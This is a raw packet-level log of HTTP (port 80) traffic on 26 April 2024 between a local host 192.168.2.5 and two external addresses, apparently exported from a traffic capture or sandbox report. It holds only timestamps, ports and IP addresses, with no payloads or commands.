Apr 26, 2024 11:06:09.529854059 CEST	80	49713	176.97.76.106	192.168.2.5
Apr 26, 2024 11:06:09.529902935 CEST	49713	80	192.168.2.5	176.97.76.106
Apr 26, 2024 11:06:09.529927969 CEST	80	49713	176.97.76.106	192.168.2.5
Apr 26, 2024 11:06:09.529968977 CEST	80	49713	176.97.76.106	192.168.2.5
Apr 26, 2024 11:06:09.530018091 CEST	49713	80	192.168.2.5	176.97.76.106
Apr 26, 2024 11:06:09.530021906 CEST	80	49713	176.97.76.106	192.168.2.5
Apr 26, 2024 11:06:09.530075073 CEST	80	49713	176.97.76.106	192.168.2.5
Apr 26, 2024 11:06:09.530141115 CEST	49713	80	192.168.2.5	176.97.76.106
Apr 26, 2024 11:06:09.530158997 CEST	80	49713	176.97.76.106	192.168.2.5
Apr 26, 2024 11:06:09.530204058 CEST	80	49713	176.97.76.106	192.168.2.5
Apr 26, 2024 11:06:09.530271053 CEST	80	49713	176.97.76.106	192.168.2.5
Apr 26, 2024 11:06:09.530286074 CEST	49713	80	192.168.2.5	176.97.76.106
Apr 26, 2024 11:06:09.530322075 CEST	80	49713	176.97.76.106	192.168.2.5
Apr 26, 2024 11:06:09.530366898 CEST	49713	80	192.168.2.5	176.97.76.106
Apr 26, 2024 11:06:09.530391932 CEST	80	49713	176.97.76.106	192.168.2.5
Apr 26, 2024 11:06:09.530452013 CEST	80	49713	176.97.76.106	192.168.2.5
Apr 26, 2024 11:06:09.530499935 CEST	49713	80	192.168.2.5	176.97.76.106
Apr 26, 2024 11:06:09.530534983 CEST	80	49713	176.97.76.106	192.168.2.5
Apr 26, 2024 11:06:09.530590057 CEST	80	49713	176.97.76.106	192.168.2.5
Apr 26, 2024 11:06:09.530649900 CEST	80	49713	176.97.76.106	192.168.2.5
Apr 26, 2024 11:06:09.530658960 CEST	49713	80	192.168.2.5	176.97.76.106
Apr 26, 2024 11:06:09.530705929 CEST	80	49713	176.97.76.106	192.168.2.5
Apr 26, 2024 11:06:09.530739069 CEST	80	49713	176.97.76.106	192.168.2.5
Apr 26, 2024 11:06:09.530771971 CEST	49713	80	192.168.2.5	176.97.76.106
Apr 26, 2024 11:06:09.530788898 CEST	80	49713	176.97.76.106	192.168.2.5
Apr 26, 2024 11:06:09.530833960 CEST	49713	80	192.168.2.5	176.97.76.106
Apr 26, 2024 11:06:09.530852079 CEST	80	49713	176.97.76.106	192.168.2.5
Apr 26, 2024 11:06:09.530885935 CEST	80	49713	176.97.76.106	192.168.2.5
Apr 26, 2024 11:06:09.530958891 CEST	80	49713	176.97.76.106	192.168.2.5
Apr 26, 2024 11:06:09.530960083 CEST	49713	80	192.168.2.5	176.97.76.106
Apr 26, 2024 11:06:09.531021118 CEST	80	49713	176.97.76.106	192.168.2.5
Apr 26, 2024 11:06:09.531068087 CEST	49713	80	192.168.2.5	176.97.76.106
Apr 26, 2024 11:06:09.531080961 CEST	80	49713	176.97.76.106	192.168.2.5
Apr 26, 2024 11:06:09.531132936 CEST	80	49713	176.97.76.106	192.168.2.5
Apr 26, 2024 11:06:09.531177044 CEST	49713	80	192.168.2.5	176.97.76.106
Apr 26, 2024 11:06:09.531183004 CEST	80	49713	176.97.76.106	192.168.2.5
Apr 26, 2024 11:06:09.531250954 CEST	80	49713	176.97.76.106	192.168.2.5
Apr 26, 2024 11:06:09.531295061 CEST	49713	80	192.168.2.5	176.97.76.106
Apr 26, 2024 11:06:09.531306982 CEST	80	49713	176.97.76.106	192.168.2.5
Apr 26, 2024 11:06:09.531388044 CEST	80	49713	176.97.76.106	192.168.2.5
Apr 26, 2024 11:06:09.531430006 CEST	49713	80	192.168.2.5	176.97.76.106
Apr 26, 2024 11:06:09.619577885 CEST	80	49712	185.172.128.76	192.168.2.5
Apr 26, 2024 11:06:09.729168892 CEST	80	49712	185.172.128.76	192.168.2.5
Apr 26, 2024 11:06:09.729188919 CEST	80	49712	185.172.128.76	192.168.2.5
Apr 26, 2024 11:06:09.729202032 CEST	80	49712	185.172.128.76	192.168.2.5
Apr 26, 2024 11:06:09.729229927 CEST	49712	80	192.168.2.5	185.172.128.76
Apr 26, 2024 11:06:09.729263067 CEST	49712	80	192.168.2.5	185.172.128.76
Apr 26, 2024 11:06:09.729268074 CEST	80	49712	185.172.128.76	192.168.2.5
Apr 26, 2024 11:06:09.729301929 CEST	49712	80	192.168.2.5	185.172.128.76
Apr 26, 2024 11:06:09.729304075 CEST	80	49712	185.172.128.76	192.168.2.5
Apr 26, 2024 11:06:09.729337931 CEST	49712	80	192.168.2.5	185.172.128.76
Apr 26, 2024 11:06:09.729367971 CEST	80	49712	185.172.128.76	192.168.2.5
Apr 26, 2024 11:06:09.729401112 CEST	49712	80	192.168.2.5	185.172.128.76
Apr 26, 2024 11:06:09.729460955 CEST	80	49712	185.172.128.76	192.168.2.5
Apr 26, 2024 11:06:09.729506016 CEST	80	49712	185.172.128.76	192.168.2.5
Apr 26, 2024 11:06:09.729506969 CEST	49712	80	192.168.2.5	185.172.128.76
Apr 26, 2024 11:06:09.729548931 CEST	49712	80	192.168.2.5	185.172.128.76
Apr 26, 2024 11:06:09.729573011 CEST	80	49712	185.172.128.76	192.168.2.5
Apr 26, 2024 11:06:09.729613066 CEST	80	49712	185.172.128.76	192.168.2.5
Apr 26, 2024 11:06:09.729655981 CEST	49712	80	192.168.2.5	185.172.128.76
Apr 26, 2024 11:06:09.787134886 CEST	80	49713	176.97.76.106	192.168.2.5
Apr 26, 2024 11:06:09.787158966 CEST	80	49713	176.97.76.106	192.168.2.5
Apr 26, 2024 11:06:09.787235022 CEST	80	49713	176.97.76.106	192.168.2.5
Apr 26, 2024 11:06:09.787235975 CEST	49713	80	192.168.2.5	176.97.76.106
Apr 26, 2024 11:06:09.787311077 CEST	80	49713	176.97.76.106	192.168.2.5
Apr 26, 2024 11:06:09.787462950 CEST	49713	80	192.168.2.5	176.97.76.106
Apr 26, 2024 11:06:09.787540913 CEST	80	49713	176.97.76.106	192.168.2.5
Apr 26, 2024 11:06:09.787611961 CEST	80	49713	176.97.76.106	192.168.2.5
Apr 26, 2024 11:06:09.787640095 CEST	80	49713	176.97.76.106	192.168.2.5
Apr 26, 2024 11:06:09.787671089 CEST	49713	80	192.168.2.5	176.97.76.106
Apr 26, 2024 11:06:09.787781954 CEST	80	49713	176.97.76.106	192.168.2.5
Apr 26, 2024 11:06:09.787831068 CEST	49713	80	192.168.2.5	176.97.76.106
Apr 26, 2024 11:06:09.787992954 CEST	80	49713	176.97.76.106	192.168.2.5
Apr 26, 2024 11:06:09.788125038 CEST	80	49713	176.97.76.106	192.168.2.5
Apr 26, 2024 11:06:09.788136959 CEST	80	49713	176.97.76.106	192.168.2.5
Apr 26, 2024 11:06:09.788166046 CEST	49713	80	192.168.2.5	176.97.76.106
Apr 26, 2024 11:06:09.788295031 CEST	80	49713	176.97.76.106	192.168.2.5
Apr 26, 2024 11:06:09.788435936 CEST	80	49713	176.97.76.106	192.168.2.5
Apr 26, 2024 11:06:09.788448095 CEST	80	49713	176.97.76.106	192.168.2.5
Apr 26, 2024 11:06:09.788476944 CEST	49713	80	192.168.2.5	176.97.76.106
Apr 26, 2024 11:06:09.788501978 CEST	49713	80	192.168.2.5	176.97.76.106
Apr 26, 2024 11:06:09.788616896 CEST	80	49713	176.97.76.106	192.168.2.5
Apr 26, 2024 11:06:09.788784981 CEST	80	49713	176.97.76.106	192.168.2.5
Apr 26, 2024 11:06:09.788801908 CEST	80	49713	176.97.76.106	192.168.2.5
Apr 26, 2024 11:06:09.788831949 CEST	49713	80	192.168.2.5	176.97.76.106
Apr 26, 2024 11:06:09.788981915 CEST	80	49713	176.97.76.106	192.168.2.5
Apr 26, 2024 11:06:09.788994074 CEST	80	49713	176.97.76.106	192.168.2.5
Apr 26, 2024 11:06:09.789004087 CEST	80	49713	176.97.76.106	192.168.2.5
Apr 26, 2024 11:06:09.789040089 CEST	49713	80	192.168.2.5	176.97.76.106
Apr 26, 2024 11:06:09.789040089 CEST	49713	80	192.168.2.5	176.97.76.106
Apr 26, 2024 11:06:09.789159060 CEST	80	49713	176.97.76.106	192.168.2.5
Apr 26, 2024 11:06:09.789170980 CEST	80	49713	176.97.76.106	192.168.2.5
Apr 26, 2024 11:06:09.789182901 CEST	80	49713	176.97.76.106	192.168.2.5
Apr 26, 2024 11:06:09.789212942 CEST	49713	80	192.168.2.5	176.97.76.106
Apr 26, 2024 11:06:09.789216042 CEST	80	49713	176.97.76.106	192.168.2.5
Apr 26, 2024 11:06:09.789256096 CEST	49713	80	192.168.2.5	176.97.76.106
Apr 26, 2024 11:06:09.789361954 CEST	80	49713	176.97.76.106	192.168.2.5
Apr 26, 2024 11:06:09.789554119 CEST	80	49713	176.97.76.106	192.168.2.5
Apr 26, 2024 11:06:09.789570093 CEST	80	49713	176.97.76.106	192.168.2.5
Apr 26, 2024 11:06:09.789582014 CEST	80	49713	176.97.76.106	192.168.2.5
Apr 26, 2024 11:06:09.789601088 CEST	49713	80	192.168.2.5	176.97.76.106
Apr 26, 2024 11:06:09.789630890 CEST	49713	80	192.168.2.5	176.97.76.106
Apr 26, 2024 11:06:09.789742947 CEST	80	49713	176.97.76.106	192.168.2.5
Apr 26, 2024 11:06:09.789755106 CEST	80	49713	176.97.76.106	192.168.2.5
Apr 26, 2024 11:06:09.789771080 CEST	80	49713	176.97.76.106	192.168.2.5
Apr 26, 2024 11:06:09.789803982 CEST	49713	80	192.168.2.5	176.97.76.106
Apr 26, 2024 11:06:09.789921999 CEST	80	49713	176.97.76.106	192.168.2.5
Apr 26, 2024 11:06:09.789933920 CEST	80	49713	176.97.76.106	192.168.2.5
Apr 26, 2024 11:06:09.789944887 CEST	80	49713	176.97.76.106	192.168.2.5
Apr 26, 2024 11:06:09.789972067 CEST	49713	80	192.168.2.5	176.97.76.106
Apr 26, 2024 11:06:09.790002108 CEST	49713	80	192.168.2.5	176.97.76.106
Apr 26, 2024 11:06:09.790111065 CEST	80	49713	176.97.76.106	192.168.2.5
Apr 26, 2024 11:06:09.790123940 CEST	80	49713	176.97.76.106	192.168.2.5
Apr 26, 2024 11:06:09.790144920 CEST	80	49713	176.97.76.106	192.168.2.5
Apr 26, 2024 11:06:09.790157080 CEST	80	49713	176.97.76.106	192.168.2.5
Apr 26, 2024 11:06:09.790169001 CEST	80	49713	176.97.76.106	192.168.2.5
Apr 26, 2024 11:06:09.790175915 CEST	49713	80	192.168.2.5	176.97.76.106
Apr 26, 2024 11:06:09.790180922 CEST	80	49713	176.97.76.106	192.168.2.5
Apr 26, 2024 11:06:09.790199995 CEST	80	49713	176.97.76.106	192.168.2.5
Apr 26, 2024 11:06:09.790206909 CEST	49713	80	192.168.2.5	176.97.76.106
Apr 26, 2024 11:06:09.790214062 CEST	80	49713	176.97.76.106	192.168.2.5
Apr 26, 2024 11:06:09.790225029 CEST	80	49713	176.97.76.106	192.168.2.5
Apr 26, 2024 11:06:09.790234089 CEST	49713	80	192.168.2.5	176.97.76.106
Apr 26, 2024 11:06:09.790237904 CEST	80	49713	176.97.76.106	192.168.2.5
Apr 26, 2024 11:06:09.790251970 CEST	80	49713	176.97.76.106	192.168.2.5
Apr 26, 2024 11:06:09.790258884 CEST	49713	80	192.168.2.5	176.97.76.106
Apr 26, 2024 11:06:09.790265083 CEST	80	49713	176.97.76.106	192.168.2.5
Apr 26, 2024 11:06:09.790287971 CEST	49713	80	192.168.2.5	176.97.76.106
Apr 26, 2024 11:06:09.790296078 CEST	80	49713	176.97.76.106	192.168.2.5
Apr 26, 2024 11:06:09.790307045 CEST	49713	80	192.168.2.5	176.97.76.106
Apr 26, 2024 11:06:09.790363073 CEST	80	49713	176.97.76.106	192.168.2.5
Apr 26, 2024 11:06:09.790419102 CEST	80	49713	176.97.76.106	192.168.2.5
Apr 26, 2024 11:06:09.790419102 CEST	49713	80	192.168.2.5	176.97.76.106
Apr 26, 2024 11:06:09.790469885 CEST	80	49713	176.97.76.106	192.168.2.5
Apr 26, 2024 11:06:09.790513992 CEST	49713	80	192.168.2.5	176.97.76.106
Apr 26, 2024 11:06:09.790524006 CEST	80	49713	176.97.76.106	192.168.2.5
Apr 26, 2024 11:06:09.790591002 CEST	80	49713	176.97.76.106	192.168.2.5
Apr 26, 2024 11:06:09.790680885 CEST	49713	80	192.168.2.5	176.97.76.106
Apr 26, 2024 11:06:09.790857077 CEST	80	49713	176.97.76.106	192.168.2.5
Apr 26, 2024 11:06:09.790868998 CEST	80	49713	176.97.76.106	192.168.2.5
Apr 26, 2024 11:06:09.790951967 CEST	49713	80	192.168.2.5	176.97.76.106
Apr 26, 2024 11:06:09.791037083 CEST	80	49713	176.97.76.106	192.168.2.5
Apr 26, 2024 11:06:09.791048050 CEST	80	49713	176.97.76.106	192.168.2.5
Apr 26, 2024 11:06:09.791059017 CEST	80	49713	176.97.76.106	192.168.2.5
Apr 26, 2024 11:06:09.791094065 CEST	49713	80	192.168.2.5	176.97.76.106
Apr 26, 2024 11:06:09.791196108 CEST	80	49713	176.97.76.106	192.168.2.5
Apr 26, 2024 11:06:09.791207075 CEST	80	49713	176.97.76.106	192.168.2.5
Apr 26, 2024 11:06:09.791246891 CEST	49713	80	192.168.2.5	176.97.76.106
Apr 26, 2024 11:06:09.791367054 CEST	80	49713	176.97.76.106	192.168.2.5
Apr 26, 2024 11:06:09.791379929 CEST	80	49713	176.97.76.106	192.168.2.5
Apr 26, 2024 11:06:09.791390896 CEST	80	49713	176.97.76.106	192.168.2.5
Apr 26, 2024 11:06:09.791404009 CEST	80	49713	176.97.76.106	192.168.2.5
Apr 26, 2024 11:06:09.791424990 CEST	49713	80	192.168.2.5	176.97.76.106
Apr 26, 2024 11:06:09.791451931 CEST	49713	80	192.168.2.5	176.97.76.106
Apr 26, 2024 11:06:09.791555882 CEST	80	49713	176.97.76.106	192.168.2.5
Apr 26, 2024 11:06:09.791568995 CEST	80	49713	176.97.76.106	192.168.2.5
Apr 26, 2024 11:06:09.791601896 CEST	49713	80	192.168.2.5	176.97.76.106
Apr 26, 2024 11:06:09.791631937 CEST	49713	80	192.168.2.5	176.97.76.106
Apr 26, 2024 11:06:09.791714907 CEST	80	49713	176.97.76.106	192.168.2.5
Apr 26, 2024 11:06:09.791775942 CEST	49713	80	192.168.2.5	176.97.76.106
Apr 26, 2024 11:06:09.791882992 CEST	80	49713	176.97.76.106	192.168.2.5
Apr 26, 2024 11:06:09.791897058 CEST	80	49713	176.97.76.106	192.168.2.5
Apr 26, 2024 11:06:09.791944981 CEST	49713	80	192.168.2.5	176.97.76.106
Apr 26, 2024 11:06:09.791951895 CEST	80	49713	176.97.76.106	192.168.2.5
Apr 26, 2024 11:06:09.792001963 CEST	49713	80	192.168.2.5	176.97.76.106
Apr 26, 2024 11:06:09.792104006 CEST	80	49713	176.97.76.106	192.168.2.5
Apr 26, 2024 11:06:09.792118073 CEST	80	49713	176.97.76.106	192.168.2.5
Apr 26, 2024 11:06:09.792155981 CEST	49713	80	192.168.2.5	176.97.76.106
Apr 26, 2024 11:06:09.792184114 CEST	80	49713	176.97.76.106	192.168.2.5
Apr 26, 2024 11:06:09.792241096 CEST	49713	80	192.168.2.5	176.97.76.106
Apr 26, 2024 11:06:09.792336941 CEST	80	49713	176.97.76.106	192.168.2.5
Apr 26, 2024 11:06:09.792350054 CEST	80	49713	176.97.76.106	192.168.2.5
Apr 26, 2024 11:06:09.792409897 CEST	80	49713	176.97.76.106	192.168.2.5
Apr 26, 2024 11:06:09.792422056 CEST	80	49713	176.97.76.106	192.168.2.5
Apr 26, 2024 11:06:09.792434931 CEST	80	49713	176.97.76.106	192.168.2.5
Apr 26, 2024 11:06:09.792448997 CEST	49713	80	192.168.2.5	176.97.76.106
Apr 26, 2024 11:06:09.792448997 CEST	49713	80	192.168.2.5	176.97.76.106
Apr 26, 2024 11:06:09.792489052 CEST	49713	80	192.168.2.5	176.97.76.106
Apr 26, 2024 11:06:09.792489052 CEST	49713	80	192.168.2.5	176.97.76.106
Apr 26, 2024 11:06:09.792685986 CEST	80	49713	176.97.76.106	192.168.2.5
Apr 26, 2024 11:06:09.792696953 CEST	80	49713	176.97.76.106	192.168.2.5
Apr 26, 2024 11:06:09.792709112 CEST	80	49713	176.97.76.106	192.168.2.5
Apr 26, 2024 11:06:09.792732000 CEST	49713	80	192.168.2.5	176.97.76.106
Apr 26, 2024 11:06:09.792783022 CEST	49713	80	192.168.2.5	176.97.76.106
Apr 26, 2024 11:06:09.792817116 CEST	80	49713	176.97.76.106	192.168.2.5
Apr 26, 2024 11:06:09.792828083 CEST	80	49713	176.97.76.106	192.168.2.5
Apr 26, 2024 11:06:09.792840004 CEST	80	49713	176.97.76.106	192.168.2.5
Apr 26, 2024 11:06:09.792859077 CEST	49713	80	192.168.2.5	176.97.76.106
Apr 26, 2024 11:06:09.792890072 CEST	49713	80	192.168.2.5	176.97.76.106
Apr 26, 2024 11:06:09.792906046 CEST	80	49713	176.97.76.106	192.168.2.5
Apr 26, 2024 11:06:09.792918921 CEST	80	49713	176.97.76.106	192.168.2.5
Apr 26, 2024 11:06:09.792938948 CEST	80	49713	176.97.76.106	192.168.2.5
Apr 26, 2024 11:06:09.792946100 CEST	49713	80	192.168.2.5	176.97.76.106
Apr 26, 2024 11:06:09.792953014 CEST	80	49713	176.97.76.106	192.168.2.5
Apr 26, 2024 11:06:09.792970896 CEST	49713	80	192.168.2.5	176.97.76.106
Apr 26, 2024 11:06:09.792989969 CEST	49713	80	192.168.2.5	176.97.76.106
Apr 26, 2024 11:06:09.792994022 CEST	80	49713	176.97.76.106	192.168.2.5
Apr 26, 2024 11:06:09.793036938 CEST	49713	80	192.168.2.5	176.97.76.106
Apr 26, 2024 11:06:09.793054104 CEST	80	49713	176.97.76.106	192.168.2.5
Apr 26, 2024 11:06:09.793097019 CEST	49713	80	192.168.2.5	176.97.76.106
Apr 26, 2024 11:06:09.793127060 CEST	80	49713	176.97.76.106	192.168.2.5
Apr 26, 2024 11:06:09.793158054 CEST	80	49713	176.97.76.106	192.168.2.5
Apr 26, 2024 11:06:09.793173075 CEST	49713	80	192.168.2.5	176.97.76.106
Apr 26, 2024 11:06:09.793229103 CEST	80	49713	176.97.76.106	192.168.2.5
Apr 26, 2024 11:06:09.793242931 CEST	49713	80	192.168.2.5	176.97.76.106
Apr 26, 2024 11:06:09.793271065 CEST	49713	80	192.168.2.5	176.97.76.106
Apr 26, 2024 11:06:09.793334007 CEST	80	49713	176.97.76.106	192.168.2.5
Apr 26, 2024 11:06:09.793386936 CEST	80	49713	176.97.76.106	192.168.2.5
Apr 26, 2024 11:06:09.793402910 CEST	49713	80	192.168.2.5	176.97.76.106
Apr 26, 2024 11:06:09.793407917 CEST	80	49713	176.97.76.106	192.168.2.5
Apr 26, 2024 11:06:09.793461084 CEST	49713	80	192.168.2.5	176.97.76.106
Apr 26, 2024 11:06:09.793461084 CEST	49713	80	192.168.2.5	176.97.76.106
Apr 26, 2024 11:06:09.793551922 CEST	80	49713	176.97.76.106	192.168.2.5
Apr 26, 2024 11:06:09.793615103 CEST	80	49713	176.97.76.106	192.168.2.5
Apr 26, 2024 11:06:09.793626070 CEST	80	49713	176.97.76.106	192.168.2.5
Apr 26, 2024 11:06:09.793638945 CEST	49713	80	192.168.2.5	176.97.76.106
Apr 26, 2024 11:06:09.793674946 CEST	49713	80	192.168.2.5	176.97.76.106
Apr 26, 2024 11:06:09.793674946 CEST	49713	80	192.168.2.5	176.97.76.106
Apr 26, 2024 11:06:09.793812037 CEST	80	49713	176.97.76.106	192.168.2.5
Apr 26, 2024 11:06:09.793823957 CEST	80	49713	176.97.76.106	192.168.2.5
Apr 26, 2024 11:06:09.793840885 CEST	80	49713	176.97.76.106	192.168.2.5
Apr 26, 2024 11:06:09.793884039 CEST	49713	80	192.168.2.5	176.97.76.106
Apr 26, 2024 11:06:09.793884039 CEST	49713	80	192.168.2.5	176.97.76.106
Apr 26, 2024 11:06:09.793984890 CEST	80	49713	176.97.76.106	192.168.2.5
Apr 26, 2024 11:06:09.793997049 CEST	80	49713	176.97.76.106	192.168.2.5
Apr 26, 2024 11:06:09.794012070 CEST	80	49713	176.97.76.106	192.168.2.5
Apr 26, 2024 11:06:09.794029951 CEST	49713	80	192.168.2.5	176.97.76.106
Apr 26, 2024 11:06:09.794059038 CEST	49713	80	192.168.2.5	176.97.76.106
Apr 26, 2024 11:06:09.794159889 CEST	80	49713	176.97.76.106	192.168.2.5
Apr 26, 2024 11:06:09.794172049 CEST	80	49713	176.97.76.106	192.168.2.5
Apr 26, 2024 11:06:09.794183016 CEST	80	49713	176.97.76.106	192.168.2.5
Apr 26, 2024 11:06:09.794226885 CEST	49713	80	192.168.2.5	176.97.76.106
Apr 26, 2024 11:06:09.794226885 CEST	49713	80	192.168.2.5	176.97.76.106
Apr 26, 2024 11:06:09.794310093 CEST	80	49713	176.97.76.106	192.168.2.5
Apr 26, 2024 11:06:09.794491053 CEST	80	49713	176.97.76.106	192.168.2.5
Apr 26, 2024 11:06:09.794502974 CEST	80	49713	176.97.76.106	192.168.2.5
Apr 26, 2024 11:06:09.794523001 CEST	49713	80	192.168.2.5	176.97.76.106
Apr 26, 2024 11:06:09.794553995 CEST	49713	80	192.168.2.5	176.97.76.106
Apr 26, 2024 11:06:09.794673920 CEST	80	49713	176.97.76.106	192.168.2.5
Apr 26, 2024 11:06:09.794692039 CEST	80	49713	176.97.76.106	192.168.2.5
Apr 26, 2024 11:06:09.794704914 CEST	80	49713	176.97.76.106	192.168.2.5
Apr 26, 2024 11:06:09.794735909 CEST	49713	80	192.168.2.5	176.97.76.106
Apr 26, 2024 11:06:09.794754982 CEST	49713	80	192.168.2.5	176.97.76.106
Apr 26, 2024 11:06:09.794755936 CEST	80	49713	176.97.76.106	192.168.2.5
Apr 26, 2024 11:06:09.794770002 CEST	80	49713	176.97.76.106	192.168.2.5
Apr 26, 2024 11:06:09.794783115 CEST	80	49713	176.97.76.106	192.168.2.5
Apr 26, 2024 11:06:09.794810057 CEST	49713	80	192.168.2.5	176.97.76.106
Apr 26, 2024 11:06:09.794810057 CEST	49713	80	192.168.2.5	176.97.76.106
Apr 26, 2024 11:06:09.794842005 CEST	49713	80	192.168.2.5	176.97.76.106
Apr 26, 2024 11:06:09.794948101 CEST	80	49713	176.97.76.106	192.168.2.5
Apr 26, 2024 11:06:09.794960976 CEST	80	49713	176.97.76.106	192.168.2.5
Apr 26, 2024 11:06:09.795016050 CEST	49713	80	192.168.2.5	176.97.76.106
Apr 26, 2024 11:06:09.795016050 CEST	49713	80	192.168.2.5	176.97.76.106
Apr 26, 2024 11:06:09.795114994 CEST	80	49713	176.97.76.106	192.168.2.5
Apr 26, 2024 11:06:09.795166016 CEST	49713	80	192.168.2.5	176.97.76.106
Apr 26, 2024 11:06:09.795295000 CEST	80	49713	176.97.76.106	192.168.2.5
Apr 26, 2024 11:06:09.795308113 CEST	80	49713	176.97.76.106	192.168.2.5
Apr 26, 2024 11:06:09.795319080 CEST	80	49713	176.97.76.106	192.168.2.5
Apr 26, 2024 11:06:09.795356989 CEST	49713	80	192.168.2.5	176.97.76.106
Apr 26, 2024 11:06:09.795356989 CEST	49713	80	192.168.2.5	176.97.76.106
Apr 26, 2024 11:06:09.795466900 CEST	80	49713	176.97.76.106	192.168.2.5
Apr 26, 2024 11:06:09.795479059 CEST	80	49713	176.97.76.106	192.168.2.5
Apr 26, 2024 11:06:09.795490980 CEST	80	49713	176.97.76.106	192.168.2.5
Apr 26, 2024 11:06:09.795522928 CEST	49713	80	192.168.2.5	176.97.76.106
Apr 26, 2024 11:06:09.795555115 CEST	49713	80	192.168.2.5	176.97.76.106
Apr 26, 2024 11:06:09.795654058 CEST	80	49713	176.97.76.106	192.168.2.5
Apr 26, 2024 11:06:09.795671940 CEST	80	49713	176.97.76.106	192.168.2.5
Apr 26, 2024 11:06:09.795691013 CEST	80	49713	176.97.76.106	192.168.2.5
Apr 26, 2024 11:06:09.795698881 CEST	49713	80	192.168.2.5	176.97.76.106
Apr 26, 2024 11:06:09.795705080 CEST	80	49713	176.97.76.106	192.168.2.5
Apr 26, 2024 11:06:09.795717001 CEST	80	49713	176.97.76.106	192.168.2.5
Apr 26, 2024 11:06:09.795722961 CEST	49713	80	192.168.2.5	176.97.76.106
Apr 26, 2024 11:06:09.795742035 CEST	49713	80	192.168.2.5	176.97.76.106
Apr 26, 2024 11:06:09.795772076 CEST	49713	80	192.168.2.5	176.97.76.106
Apr 26, 2024 11:06:09.795784950 CEST	80	49713	176.97.76.106	192.168.2.5
Apr 26, 2024 11:06:09.795830011 CEST	49713	80	192.168.2.5	176.97.76.106
Apr 26, 2024 11:06:09.795840979 CEST	80	49713	176.97.76.106	192.168.2.5
Apr 26, 2024 11:06:09.795882940 CEST	49713	80	192.168.2.5	176.97.76.106
Apr 26, 2024 11:06:09.795897961 CEST	80	49713	176.97.76.106	192.168.2.5
Apr 26, 2024 11:06:09.795939922 CEST	49713	80	192.168.2.5	176.97.76.106
Apr 26, 2024 11:06:09.796041965 CEST	80	49713	176.97.76.106	192.168.2.5
Apr 26, 2024 11:06:09.796084881 CEST	49713	80	192.168.2.5	176.97.76.106
Apr 26, 2024 11:06:09.796092033 CEST	80	49713	176.97.76.106	192.168.2.5
Apr 26, 2024 11:06:09.796111107 CEST	80	49713	176.97.76.106	192.168.2.5
Apr 26, 2024 11:06:09.796139956 CEST	49713	80	192.168.2.5	176.97.76.106
Apr 26, 2024 11:06:09.796164036 CEST	49713	80	192.168.2.5	176.97.76.106
Apr 26, 2024 11:06:09.796169996 CEST	80	49713	176.97.76.106	192.168.2.5
Apr 26, 2024 11:06:09.796212912 CEST	49713	80	192.168.2.5	176.97.76.106
Apr 26, 2024 11:06:09.796329021 CEST	80	49713	176.97.76.106	192.168.2.5
Apr 26, 2024 11:06:09.796360970 CEST	80	49713	176.97.76.106	192.168.2.5
Apr 26, 2024 11:06:09.796374083 CEST	49713	80	192.168.2.5	176.97.76.106
Apr 26, 2024 11:06:09.796379089 CEST	80	49713	176.97.76.106	192.168.2.5
Apr 26, 2024 11:06:09.796392918 CEST	80	49713	176.97.76.106	192.168.2.5
Apr 26, 2024 11:06:09.796396017 CEST	49713	80	192.168.2.5	176.97.76.106
Apr 26, 2024 11:06:09.796437025 CEST	49713	80	192.168.2.5	176.97.76.106
Apr 26, 2024 11:06:09.796542883 CEST	80	49713	176.97.76.106	192.168.2.5
Apr 26, 2024 11:06:09.796588898 CEST	49713	80	192.168.2.5	176.97.76.106
Apr 26, 2024 11:06:09.796617985 CEST	80	49713	176.97.76.106	192.168.2.5
Apr 26, 2024 11:06:09.796664953 CEST	49713	80	192.168.2.5	176.97.76.106
Apr 26, 2024 11:06:09.796740055 CEST	80	49713	176.97.76.106	192.168.2.5
Apr 26, 2024 11:06:09.796829939 CEST	49713	80	192.168.2.5	176.97.76.106
Apr 26, 2024 11:06:09.796957016 CEST	80	49713	176.97.76.106	192.168.2.5
Apr 26, 2024 11:06:09.796968937 CEST	80	49713	176.97.76.106	192.168.2.5
Apr 26, 2024 11:06:09.796986103 CEST	80	49713	176.97.76.106	192.168.2.5
Apr 26, 2024 11:06:09.796998024 CEST	80	49713	176.97.76.106	192.168.2.5
Apr 26, 2024 11:06:09.797003031 CEST	49713	80	192.168.2.5	176.97.76.106
Apr 26, 2024 11:06:09.797010899 CEST	80	49713	176.97.76.106	192.168.2.5
Apr 26, 2024 11:06:09.797024012 CEST	80	49713	176.97.76.106	192.168.2.5
Apr 26, 2024 11:06:09.797039032 CEST	49713	80	192.168.2.5	176.97.76.106
Apr 26, 2024 11:06:09.797060966 CEST	80	49713	176.97.76.106	192.168.2.5
Apr 26, 2024 11:06:09.797060966 CEST	49713	80	192.168.2.5	176.97.76.106
Apr 26, 2024 11:06:09.797111034 CEST	49713	80	192.168.2.5	176.97.76.106
Apr 26, 2024 11:06:09.797127008 CEST	80	49713	176.97.76.106	192.168.2.5
Apr 26, 2024 11:06:09.797194004 CEST	80	49713	176.97.76.106	192.168.2.5
Apr 26, 2024 11:06:09.797233105 CEST	80	49713	176.97.76.106	192.168.2.5
Apr 26, 2024 11:06:09.797255039 CEST	49713	80	192.168.2.5	176.97.76.106
Apr 26, 2024 11:06:09.797287941 CEST	49713	80	192.168.2.5	176.97.76.106
Apr 26, 2024 11:06:09.797295094 CEST	80	49713	176.97.76.106	192.168.2.5
Apr 26, 2024 11:06:09.797342062 CEST	49713	80	192.168.2.5	176.97.76.106
Apr 26, 2024 11:06:09.797347069 CEST	80	49713	176.97.76.106	192.168.2.5
Apr 26, 2024 11:06:09.797391891 CEST	49713	80	192.168.2.5	176.97.76.106
Apr 26, 2024 11:06:09.797409058 CEST	80	49713	176.97.76.106	192.168.2.5
Apr 26, 2024 11:06:09.797456980 CEST	49713	80	192.168.2.5	176.97.76.106
Apr 26, 2024 11:06:09.797482014 CEST	80	49713	176.97.76.106	192.168.2.5
Apr 26, 2024 11:06:09.797549009 CEST	80	49713	176.97.76.106	192.168.2.5
Apr 26, 2024 11:06:09.797591925 CEST	49713	80	192.168.2.5	176.97.76.106
Apr 26, 2024 11:06:09.797621965 CEST	80	49713	176.97.76.106	192.168.2.5
Apr 26, 2024 11:06:09.797692060 CEST	49713	80	192.168.2.5	176.97.76.106
Apr 26, 2024 11:06:09.797702074 CEST	80	49713	176.97.76.106	192.168.2.5
Apr 26, 2024 11:06:09.797730923 CEST	80	49713	176.97.76.106	192.168.2.5
Apr 26, 2024 11:06:09.797748089 CEST	49713	80	192.168.2.5	176.97.76.106
Apr 26, 2024 11:06:09.797779083 CEST	49713	80	192.168.2.5	176.97.76.106
Apr 26, 2024 11:06:09.797885895 CEST	80	49713	176.97.76.106	192.168.2.5
